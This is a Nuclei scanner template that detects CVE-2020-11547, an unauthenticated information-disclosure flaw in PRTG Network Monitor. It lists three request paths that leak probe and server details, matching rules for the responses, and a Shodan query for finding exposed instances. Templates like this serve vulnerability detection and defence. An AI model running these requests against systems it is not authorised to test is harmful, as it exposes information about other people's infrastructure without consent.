id: CVE-2020-11547

info:
  name: PRTG Network Monitor < 20.1.57.1745 - Information Disclosure
  author: x6263
  severity: medium
  description: PRTG Network Monitor before 20.1.57.1745 allows remote unauthenticated attackers to obtain information about probes running or the server itself via an HTTP request.
  metadata:
    verified: true
    shodan-query: title:"prtg"
  reference:
    - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
    - https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-11547
    cwe-id: CWE-200
  tags: cve,cve2020,prtg,disclosure,network

requests:
  - method: GET
    path:
      - "{{BaseURL}}/public/login.htm?type=probes"
      - "{{BaseURL}}/public/login.htm?type=requests"
      - "{{BaseURL}}/public/login.htm?type=treestat"

    stop-at-first-match: true
    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"

      - type: word
        part: body
        words:
          - "prtg_network_monitor"
          - "Probes"
          - "Groups"
        condition: or

      - type: status
        status:
          - 200